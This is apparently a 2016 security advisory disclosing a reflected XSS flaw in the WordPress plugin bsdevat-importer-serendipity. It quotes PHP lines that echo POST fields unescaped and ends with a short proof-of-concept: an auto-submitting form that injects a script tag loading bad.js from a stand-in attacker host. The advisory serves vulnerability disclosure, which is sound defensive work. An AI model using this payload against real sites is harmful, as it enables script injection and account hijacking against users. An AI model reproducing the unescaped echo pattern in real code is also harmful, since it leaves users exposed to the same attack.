Advisory #: 1414
Title: Reflected XSS in wordpress plugin bsdevat-importer-serendipity v0.0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bsdevat-importer-serendipity
Downloads: 469
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bsdevat-importer-serendipity
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bsdevat-importer-serendipity/form/s9y.php: 41: <td><input type="text" name="s9y_host" value="<?php echo $_POST['s9y_host']?>" /></td> 46: <td><input type="text" name="s9y_port" size="6" maxlength="5" value="<?php echo $_POST['s9y_port']?>" /></td> 51: <td><input type="text" name="s9y_user" value="<?php echo $_POST['s9y_user']?>" /></td> 61: <td><input type="text" name="s9y_name" value="<?php echo $_POST['s9y_name']?>" /></td> 66: <td><input type="text" name="s9y_prefix" value="<?php echo $_POST['s9y_prefix']?>" /></td> The variable s9y_host appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./bsdevat-importer-serendipity/form/s9y.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/bsdevat-importer-serendipity/form/s9y.php method=post> <input type=hidden name=s9y_host value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>